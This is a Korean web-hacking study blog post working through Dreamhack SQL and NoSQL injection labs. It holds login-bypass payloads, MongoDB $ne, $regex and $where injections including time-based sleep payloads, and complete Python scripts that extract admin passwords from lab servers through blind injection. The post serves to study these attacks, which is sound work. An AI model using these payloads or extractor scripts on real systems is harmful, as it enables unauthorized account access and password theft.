ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • [SISS/웹해킹 스터디] 2학기 7주차 스터디 - SQL Injecion 실습 + NoSQL Injection
    24-2 SISS/웹해킹 2024. 11. 10. 20:00

    2학기 7주차 스터디 - SQL Injecion 실습 + NoSQL Injection
    수강 인증 화면 캡쳐

    : 7주차 11/04 ~ 11/10 [드림핵] SQL Injection

     

    SQL Injection 퀴즈


    SQL Injection 퀴즈

     

    SQL Injection 실습


    • 실습 정보
      • SQLite → 경량화된 데이터베이스 관리 시스템(일부 기능만 지원)
      • 목표 → 관리자 계정으로 로그인하여 플래그 획득
    • 웹 서비스 분석
      • 데이터베이스
        • 데이터베이스 스키마 (아래 코드 참고)
        • 데이터베이스 구조
          userid userpassword
          guest guest
          admin 랜덤 문자열(16 바이트)을 Hex로 표현 (32 바이트)
      • 페이지 정보
        • @app.route('/login’) → 메소드 별 다른 기능 제공
          • GET → 로그인 페이지 제공
          • POST → 계정 정보가 DB에 존재하는지 확인(관리자일 경우 플래그 출력)
          # Login 기능에 대해 GET과 POST HTTP 요청을 받아 처리함
          @app.route('/login', methods=['GET', 'POST'])
          def login():
              # 이용자가 GET 메소드의 요청을 전달한 경우,
              if request.method == 'GET':
                  return render_template('login.html') # 이용자에게 ID/PW를 요청받는 화면을 출력
              # POST 요청을 전달한 경우
              else:
                  userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
                  userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
                  # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
                  res = query_db(
                      f'select * from users where userid="{userid}" and userpassword="{userpassword}"'
                  )
          
                  if res: # 쿼리 결과가 존재하는 경우
                      userid = res[0] # 로그인할 계정을 해당 쿼리 결과의 결과에서 불러와 사용
          
                      if userid == 'admin': # 이 때, 로그인 계정이 관리자 계정인 경우
                          return f'hello {userid} flag is {FLAG}' # flag를 출력
          
                      # 관리자 계정이 아닌 경우, 웰컴 메시지만 출력
                      return f'<script>alert("hello {userid}");history.go(-1);</script>'
          
                  # 일치하는 회원 정보가 없는 경우 로그인 실패 메시지 출력
                  return '<script>alert("wrong");history.go(-1);</script>'
          
    -- 데이터베이스 스키마
    DATABASE = "database.db" # 데이터베이스 파일명을 database.db로 설정
    
    if os.path.exists(DATABASE) == False: # 데이터베이스 파일이 존재하지 않는 경우
        db = sqlite3.connect(DATABASE) # 데이터베이스 파일 생성 및 연결
        db.execute('create table users(userid char(100), userpassword char(100));') # users 테이블 생성
        # users 테이블에 관리자와 guest 계정 생성
        db.execute(f'insert into users(userid, userpassword) values ("guest", "guest"), ("admin", "{binascii.hexlify(os.urandom(16)).decode("utf8")}");')
        db.commit() # 쿼리 실행 확정
        db.close() # DB 연결 종료

     

    • 취약점 분석
      • 코드
        • 입력 정보를 바탕으로 쿼리문을 생성한 후 SQLite에 질의(query_db) → 쿼리 생성 시 입력값이 그대로 쿼리에 포함되므로 SQL Injection 수행할 수 있음
        def login(): # login 함수 선언
            ...
            userid = request.form.get('userid') # 이용자의 입력값인 userid를 받은 뒤,
            userpassword = request.form.get('userpassword') # 이용자의 입력값인 userpassword를 받고
            # users 테이블에서 이용자가 입력한 userid와 userpassword가 일치하는 회원 정보를 불러옴
            res = query_db(f'select * from users where userid="{userid}" and userpassword="{userpassword}"')
            ...
            
        def query_db(query, one=True): # query_db 함수 선언
            cur = get_db().execute(query) # 연결된 데이터베이스에 쿼리문을 질의
            rv = cur.fetchall() # 쿼리문 내용을 받아오기
            cur.close() # 데이터베이스 연결 종료
            return (rv[0] if rv else None) if one else rv # 쿼리문 질의 내용에 대한 결과를 반환
        
      • 풀이 방법
        • 로그인을 우회 → 강의
        • 비밀번호를 알아내 올바른 경로로 로그인

     

    • 풀이
      • 로그인 쿼리문
      • SQL Injection 공격 코드(공격 쿼리문을 로그인 폼에 입력하여 관리자 계정으로 로그인)
    -- 로그인 쿼리문
    SELECT * FROM users WHERE userid="{userid}" AND userpassword="{userpassword}";
    -- SQL Injection 공격 코드
    
    /*
    ID: admin"--, PW: DUMMY
    userid 검색 조건만을 처리하도록, 뒤의 내용은 주석처리하는 방식
    */
    SELECT * FROM users WHERE userid="admin"-- " AND userpassword="DUMMY"
    
    /*
    ID: admin" or "1 , PW: DUMMY
    userid 검색 조건 뒤에 OR (또는) 조건을 추가하여 뒷 내용이 무엇이든, admin 이 반환되도록 하는 방식
    */
    SELECT * FROM users WHERE userid="admin" or "1" AND userpassword="DUMMY"
    
    /*
    ID: admin, PW: DUMMY" or userid="admin
    userid 검색 조건에 admin을 입력하고, userpassword 조건에 임의 값을 입력한 뒤 or 조건을 추가하여 userid가 admin인 것을 반환하도록 하는 방식
    */
    SELECT * FROM users WHERE userid="admin" AND userpassword="DUMMY" or userid="admin"
    
    /*
    ID: " or 1 LIMIT 1,1-- , PW: DUMMY
    userid 검색 조건 뒤에 or 1을 추가하여, 테이블의 모든 내용을 반환토록 하고 LIMIT 절을 이용해 두 번째 Row인 admin을 반환토록 하는 방식
    */
    SELECT * FROM users WHERE userid="" or 1 LIMIT 1,1-- " AND userpassword="DUMMY"

     

    Blind SQL Injection 실습


    • 실습 정보
      • 비밀번호는 SQLite의 users 테이블에 위치

     

    • 로그인 요청의 폼 구조(POST 데이터 구조) 파악
      • 로그인 화면
        • 개발자 도구/Network/Preserve log/login(POST)/Payload → /login으로 전송된 POST 요청 확인 → userid, userpassword로 입력값이 전달됨

    로그인 요청 폼 구조 파악(POST)

     

    • 비밀번호 길이 파악
      • 이진 탐색 알고리즘 활용
      #!/usr/bin/python3
      import requests
      import sys
      from urllib.parse import urljoin
      
      class Solver:
          """Solver for simple_SQLi challenge"""
          
          # initialization
          def __init__(self, port: str) -> None:
              self._chall_url = f"<http://host1.dreamhack.games>:{port}"
              self._login_url = urljoin(self._chall_url, "login")
              
          # base HTTP methods
          def _login(self, userid: str, userpassword: str) -> bool:
              login_data = {
                  "userid": userid,
                  "userpassword": userpassword
              }
              resp = requests.post(self._login_url, data=login_data)
              return resp
      
          # base sqli methods
          def _sqli(self, query: str) -> requests.Response:
              resp = self._login(f"\\" or {query}-- ", "hi")
              return resp
              
          def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
              while 1:
                  mid = (low+high) // 2
                  if low+1 >= high:
                      break
                  query = query_tmpl.format(val=mid)
                  if "hello" in self._sqli(query).text:
                      high = mid
                  else:
                      low = mid
              return mid
              
          # attack methods
          def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
              query_tmpl = f"((SELECT LENGTH(userpassword) WHERE userid=\\"{user}\\")<{{val}})"
              pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
              return pw_len
              
          def solve(self):
              pw_len = solver._find_password_length("admin")
              print(f"Length of admin password is: {pw_len}")
              
              
      if __name__ == "__main__":
          port = sys.argv[1]
          solver = Solver(port)
          solver.solve()
      
    • 비밀번호 획득
      • 이진 탐색 알고리즘 활용
      #!/usr/bin/python3
      import requests
      import sys
      from urllib.parse import urljoin
      
      class Solver:
          """Solver for simple_SQLi challenge"""
      
          # initialization
          def __init__(self, port: str) -> None:
              self._chall_url = f"<http://host1.dreamhack.games>:{port}"
              self._login_url = urljoin(self._chall_url, "login")
      
          # base HTTP methods
          def _login(self, userid: str, userpassword: str) -> requests.Response:
              login_data = {"userid": userid, "userpassword": userpassword}
              resp = requests.post(self._login_url, data=login_data)
              return resp
      
          # base sqli methods
          def _sqli(self, query: str) -> requests.Response:
              resp = self._login(f'" or {query}-- ', "hi")
              return resp
      
          def _sqli_lt_binsearch(self, query_tmpl: str, low: int, high: int) -> int:
              while 1:
                  mid = (low + high) // 2
                  if low + 1 >= high:
                      break
                  query = query_tmpl.format(val=mid)
                  if "hello" in self._sqli(query).text:
                      high = mid
                  else:
                      low = mid
              return mid
      
          # attack methods
          def _find_password_length(self, user: str, max_pw_len: int = 100) -> int:
              query_tmpl = f'((SELECT LENGTH(userpassword) WHERE userid="{user}") < {{val}})'
              pw_len = self._sqli_lt_binsearch(query_tmpl, 0, max_pw_len)
              return pw_len
      
          def _find_password(self, user: str, pw_len: int) -> str:
              pw = ""
              for idx in range(1, pw_len + 1):
                  query_tmpl = f'((SELECT SUBSTR(userpassword,{idx},1) WHERE userid="{user}") < CHAR({{val}}))'
                  pw += chr(self._sqli_lt_binsearch(query_tmpl, 0x2F, 0x7E))
                  print(f"{idx}. {pw}")
              return pw
      
          def solve(self) -> None:
              # Find the length of admin password
              pw_len = solver._find_password_length("admin")
              print(f"Length of the admin password is: {pw_len}")
              # Find the admin password
              print("Finding password:")
              pw = solver._find_password("admin", pw_len)
              print(f"Password of the admin is: {pw}")
      
      if __name__ == "__main__":
          port = sys.argv[1]
          solver = Solver(port)
          solver.solve()
      

     

    •  참고
      • 연결 시간 초과 오류가 발생하는 경우
        1. try - except 구문으로 예외 처리
        2. 공격 성공시까지 스크립트 실행

     

    실습 - simple_sqli


    • SQL Injection 이용
      • admin”-- → 쿼리문이 아래와 같이 변경됨
        • SELECT * FROM users WHERE userid=”admin”--“ AND userpassword=”1234”

    실습 - simple_sqli

     

    NoSQL Injection


    • 비 관계형 데이터베이스(NRDBMS, NoSQL-Not only SQL)
      • 개요
        • 관계형 데이터베이스는 저장 데이터가 많아지면 용량 문제가 발생한다는 단점 해결
        • 이용자의 입력값을 통해 동적으로 쿼리를 생성하므로 관계형 데이터베이스와 같은 문제점 발생 가능
      • 특징
        • SQL을 사용하지 않음 → 다양한 DBMS(Redis, Dynamo, CouchDB, MongoDB 등)가 존재하므로 각각의 구조와 문법을 익혀야함
        • 복잡하지 않은 데이터를 저장(단순 검색, 추가 등에 최적화)
        • 연관 배열을 사용해 데이터를 저장

     

    • MongoDB → JSON 형태의 도큐먼트를 저장(5.0 버전부터 mongo 쉘은 mongossh 명령어로 대체됨)
      • 특징
        • 스키마를 정의하지 않음 → 각 컬렉션에 대한 정의가 필요하지 않음
        • JSON 형식으로 쿼리를 작성
        • _id 필드가 Primary Key 역할을 함
      • 예제
        // RDBMS
        SELECT * FROM inventory WHERE status = "A" and qty < 30;
        
        // MongoDB
        db.inventory.find(
          { $and: [
            { status: "A" },
            { qty: { $lt: 30 } }
          ]}
        )
      • 연산자
        • 비교 연산자
          $eq 지정된 값과 같은 값을 찾음 (equal)
          $in 배열 안의 값들과 일치하는 값을 찾음 (in)
          $ne 지정된 값과 같지 않은 값을 찾음 (not equal)
          $nin 배열 안의 값들과 일치하지 않는 값을 찾음 (not in)
        • 논리 연산자
          $and AND / 각각의 쿼리를 모두 만족하는 문서를 반환
          $not 쿼리 식의 효과를 반전 / 쿼리 식과 일치하지 않는 문서를 반환
          $nor NOR / 각각의 쿼리를 모두 만족하지 않는 문서를 반환
          $or OR / 각각의 쿼리 중 하나 이상 만족하는 문서를 반환
        • 요소
          $exists 지정된 필드가 있는 문서를 검색
          $type 지정된 필드가 지정된 유형인 문서를 선택
        • 평가
          $expr 쿼리 언어 내에서 집계 식을 사용
          $regex 지정된 정규식과 일치하는 문서를 선택
          $text 지정된 텍스트를 검색
      • 기본 문법
        • SELECT
          // SELECT - SQL
          SELECT * FROM account;
          
          SELECT * FROM account WHERE user_id="admin";
          
          SELECT user_idx FROM account WHERE user_id="admin";
          
          // SELECT - MongoDB
          db.account.find()
          
          db.account.find(
            { user_id: "admin" }
          )
          
          db.account.find(
            { user_id: "admin" },
            { user_idx:1, _id:0 }
          )
        • INSERT
          // INSERT - SQL
          INSERT INTO account(user_id,user_pw,) VALUES ("guest", "guest");
          
          // INSERT - MongoDB
          db.account.insertOne(
            { user_id: "guest",user_pw: "guest" }
          )
        • DELETE
          // DELETE - SQL
          DELETE FROM account;
          
          DELETE FROM account WHERE user_id="guest";
          
          // DELETE - MongoDB
          db.account.remove()
          
          db.account.remove(
            {user_id: "guest"}
          )
        • UPDATE
          // UPDATE - SQL
          UPDATE account SET user_id="guest2" WHERE user_idx=2;
          
          // UPDATE - MongoDB
          db.account.updateOne(
            { user_idx: 2 },
            { $set: { user_id: "guest2" } }
          )

     

    • Redis → 연관베열 데이터 저장
        • 특징
          • 메모리 기반의 DBMS → 읽고 쓰는 작업을 다른 DBMS와 비교해 훨씬 빨리 수행(임시데이터 캐싱에 주로 사용됨)
        • 명령어 → (공식 문서) https://redis.io/commands
          • 데이터 조회 및 조작
            GET GET key 데이터 조회
            MGET MGET key [key ...] 여러 데이터를 조회
            SET SET key value 새로운 데이터 추가
            MSET MSET key value [key value ...] 여러 데이터를 추가
            DEL DEL key [key ...] 데이터 삭제
            EXISTS EXISTS key [key ...] 데이터 유무 확인
            INCR INCR key 데이터 값에 1 더함
            DECR DECR key 데이터 값에 1 뺌
          • 관리
            INFO INFO [section] DBMS 정보 조회
            CONFIG GET CONFIG GET parameter 설정 조회
            CONFIG SET CONFIG SET parameter value 새로운 설정을 입력
    • CouchDB → MongoDB와 같이 JSON 형태인 도큐먼트를 저장
      • 특징
      • 메소드
        POST 새로운 레코드 추가
        GET 레코드 조회
        PUT 레코드 업데이트
        DELETE 레코드 삭제
        • 레코드 업데이트 및 조회 예시(HTTP 요청) → 아래 코드 참고
      • 특수 구성 요소
        • 서버
          / 인스턴스에 대한 메타 정보 반환
          /_all_dbs 인스턴스의 데이터베이스 목록 반환
          /_utils 관리자페이지로 이동
        • 데이터베이스
          /db 지정된 데이터베이스에 대한 정보 반환
          /{db}/_all_docs 지정된 데이터베이스에 포함된 모든 도큐먼트 반환
          /{db}/_find 지정된 데이터베이스에서 JSON 쿼리에 해당하는 모든 도큐먼트 반환
    -- 레코드 업데이트 및 조회 예시(HTTP 요청)
    
    $ curl -X PUT http://{username}:{password}@localhost:5984/users/guest -d '{"upw":"guest"}'
    {"ok":true,"id":"guest","rev":"1-22a458e50cf189b17d50eeb295231896"}
    
    $ curl http://{username}:{password}@localhost:5984/users/guest
    {"_id":"guest","_rev":"1-22a458e50cf189b17d50eeb295231896","upw":"guest"}

     

    NoSQL Injection - MongoDB


    • 개요
      • SQL Injection과 유사 → 이용자의 입력값이 쿼리에 포함되며 문제가 발생
      • 이용자의 입력값에 대한 타입 검증이 불충분할 경우 발생
      • 예제 코드
        • 이용자의 입력값과 타입 출력 (NodeJS의 Express 프레임워크 이용) → req.query 타입이 지정되어있지 않으므로 문자열 외의 자료형 입력 가능
          const express = require('express');
          const app = express();
          app.get('/', function(req,res) {
              console.log('data:', req.query.data);
              console.log('type:', typeof req.query.data);
              res.send('hello world');
          });
          const server = app.listen(3000, function(){
              console.log('app.listen');
          });
          
        • 각각의 타입 입력
    http://localhost:3000/?data=1234
    data: 1234
    type: string
    
    http://localhost:3000/?data[]=1234
    data: [ '1234' ]
    type: object
    
    http://localhost:3000/?data[]=1234&data[]=5678
    data: [ '1234', '5678' ] 
    type: object
    
    http://localhost:3000/?data[5678]=1234
    data: { '5678': '1234' } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data=0000
    data: { '5678': '1234', '0000': true } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data[]=0000
    data: { '0': '0000', '5678': '1234' } 
    type: object
    
    http://localhost:3000/?data[5678]=1234&data[1111]=0000
    data: { '1111': '0000', '5678': '1234' } 
    type: object

     

    • NoSQL Injection → 타입 검증이 불충분할 경우 연산자를 사용할 수 있음 → 인증 우회에 사용
      • 예시 코드
        • 오브젝트 타입의 값을 입력(연산자 사용 가능)
          // 예시 코드
          const express = require('express');
          const app = express();
          const mongoose = require('mongoose');
          const db = mongoose.connection;
          mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
          app.get('/query', function(req,res) {
              db.collection('user').find({
                  'uid': req.query.uid,
                  'upw': req.query.upw
              }).toArray(function(err, result) {
                  if (err) throw err;
                  res.send(result);
            });
          });
          const server = app.listen(3000, function(){
              console.log('app.listen');
          });
          
          // $ne 연산자를 이용하여 일치하지 않는 데이터를 반환
          <http://localhost:3000/query?uid[$ne]=a&upw[$ne]=a>
          => [{"_id":"5ebb81732b75911dbcad8a19","uid":"admin","upw":"secretpassword"}]

     

    • Blind NoSQL Injection → 인증 우회 외에도 데이터베이스의 정보를 알아낼 수 있음 → MongoDB의 경우 주로 $regex, $where 연산자를 사용
        • 기타 연산자 → (공식 문서) https://docs.mongodb.com/manual/reference/operator/query/  
          $expr 쿼리 언어 내에서 집계 식을 사용 가능하도록 함
          $regex 지정된 정규식과 일치하는 문서를 선택
          $text 지정된 텍스트를 검색
          $where JavaScript 표현식을 만족하는 문서와 일치

      • $regex → 정규식을 사용해 식과 일치하는 데이터 조회
        // upw에서 각 문자로 시작하는 데이터를 조회하는 쿼리
        
        > db.user.find({upw: {$regex: "^a"}})
        > db.user.find({upw: {$regex: "^b"}})
        > db.user.find({upw: {$regex: "^c"}})
        ...
        > db.user.find({upw: {$regex: "^g"}})
        { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
        
      • $where → 인자로 전달한 자바스크립트 표현식을 만족하는 데이터 조회
        // field에서 사용할 수 없음
        
        > db.user.find({$where:"return 1==1"})
        { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
        > db.user.find({uid:{$where:"return 1==1"}})
        error: {
        	"$err" : "Can't canonicalize query: BadValue $where cannot be applied to a field",
        	"code" : 17287
        }
        
        • substring → 한 글자씩 비교할 수 있음
          > db.user.find({$where: "this.upw.substring(0,1)=='a'"})
          > db.user.find({$where: "this.upw.substring(0,1)=='b'"})
          > db.user.find({$where: "this.upw.substring(0,1)=='c'"})
          ...
          > db.user.find({$where: "this.upw.substring(0,1)=='g'"})
          { "_id" : ObjectId("5ea0110b85d34e079adb3d19"), "uid" : "guest", "upw" : "guest" }
          
        • time based injection → sleep 함수를 이용해 수행 가능
          db.user.find({$where: `this.uid=='${req.query.uid}'&&this.upw=='${req.query.upw}'`});
          /*
          /?uid=guest'&&this.upw.substring(0,1)=='a'&&sleep(5000)&&'1
          /?uid=guest'&&this.upw.substring(0,1)=='b'&&sleep(5000)&&'1
          /?uid=guest'&&this.upw.substring(0,1)=='c'&&sleep(5000)&&'1
          ...
          /?uid=guest'&&this.upw.substring(0,1)=='g'&&sleep(5000)&&'1
          => 시간 지연 발생.
          */
          
        • error based injection → 고의로 올바르지 않은 문법을 이용해 발생시킨 에러로 데이터를 알아냄
          > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='g'&&asdf&&'1'&&this.upw=='${upw}'"});
          error: {
          	"$err" : "ReferenceError: asdf is not defined near '&&this.upw=='${upw}'' ",
          	"code" : 16722
          }
          // this.upw.substring(0,1)=='g' 값이 참이기 때문에 asdf 코드를 실행하다 에러 발생
          > db.user.find({$where: "this.uid=='guest'&&this.upw.substring(0,1)=='a'&&asdf&&'1'&&this.upw=='${upw}'"});
          // this.upw.substring(0,1)=='a' 값이 거짓이기 때문에 뒤에 코드가 작동하지 않음
          

     

    • NoSQL Injection 실습
      • 모듈 구성 코드 → 아래 코드 참고
      • admin 계정의 비밀번호 획득 → uid, admin, upw[$ne], “”
    // 모듈 구성 코드
    const express = require('express');
    const app = express();
    app.use(express.json());
    app.use(express.urlencoded( {extended : false } ));
    const mongoose = require('mongoose');
    const db = mongoose.connection;
    mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
    app.post('/query', function(req,res) {
        db.collection('user').find({
            'uid': req.body.uid,
            'upw': req.body.upw
        }).toArray(function(err, result) {
            if (err) throw err;
            res.send(result);
      });
    });
    const server = app.listen(80, function(){
        console.log('app.listen');
    });

    NoSQL Injection 실습

     

    • Blind NoSQL Injection 실습
      • 모듈 구성 코드 → 아래 코드 참고
      • admin 계정의 비밀번호 획득
        • 비밀번호 길이
    // 모듈 구성 코드
    const express = require('express');
    const app = express();
    app.use(express.json());
    app.use(express.urlencoded( {extended : false } ));
    const mongoose = require('mongoose');
    const db = mongoose.connection;
    mongoose.connect('mongodb://localhost:27017/', { useNewUrlParser: true, useUnifiedTopology: true });
    app.get('/query', function(req,res) {
        db.collection('user').findOne({
            'uid': req.body.uid,
            'upw': req.body.upw
        }, function(err, result){
            if (err) throw err;
            console.log(result);
            if(result){
                res.send(result['uid']);
            }else{
                res.send('undefined');
            }
        })
    });
    const server = app.listen(80, function(){
        console.log('app.listen');
    });

    Blind NoSQL Injection 실습 - 비밀번호 길이
    Blind NoSQL Injection 실습 - 비밀번호

     

    퀴즈 - NoSQL Injection


    퀴즈 - NoSQL Injection

     

    실습 - Mango


    • 페이지 분석
      • /login
        • 분석
          • uid와 upw로 데이터베이스를 검색하고 찾은 이용자 정보를 반환
          • filter (/login의 GET 핸들러에 있음) → admin, dh, admi라는 문자열이 있을 경우 true를 반환
        • 취약점
          • 쿼리 변수의 타입을 검사하지 않음 → 요청 결과 string 외에 object도 쿼리로 전달될 수 있음
        # /login
        app.get('/login', function(req, res) {
            if(filter(req.query)){ // filter 함수 실행
                res.send('filter');
                return;
            }
            const {uid, upw} = req.query; 
            db.collection('user').findOne({ // db에서 uid, upw로 검색
                'uid': uid,
                'upw': upw,
            }, function(err, result){
                if (err){ 
                    res.send('err');
                }else if(result){ 
                    res.send(result['uid']); 
                }else{
                    res.send('undefined'); 
                }
            })
        });
        
        // filter 함수
        // flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
        const BAN = ['admin', 'dh', 'admi'];
        filter = function(data){
            const dump = JSON.stringify(data).toLowerCase();
            var flag = false;
            BAN.forEach(function(word){
                if(dump.indexOf(word)!=-1) flag = true;
            });
            return flag;
        }
        

     

    •   풀이
      • /login은 로그인 성공 시 uid만 출력하므로 Blind NoSQL Injection을 이용
        • 페이로드 생성
          • $regex 연산 사용
          <http://host1.dreamhack.games:13698/login?uid=guest&upw[$regex]=.*>
          
        • 필터 우회
          • . (정규표현식 - 임의 문자) 이용
          <http://host1.dreamhack.games:13698/login?uid[$regex]=ad.in&upw[$regex]=D.{*>
          
        • 풀이 코드
    import requests, string
    
    HOST = 'http://localhost'
    ALPHANUMERIC = string.digits + string.ascii_letters
    SUCCESS = 'admin'
    
    flag = ''
    
    for i in range(32):
        for ch in ALPHANUMERIC:
            response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
            if response.text == SUCCESS:
                flag += ch
                break
        
        print(f'FLAG: DH{{{flag}}}')

    실습 - Mango

Designed by Tistory.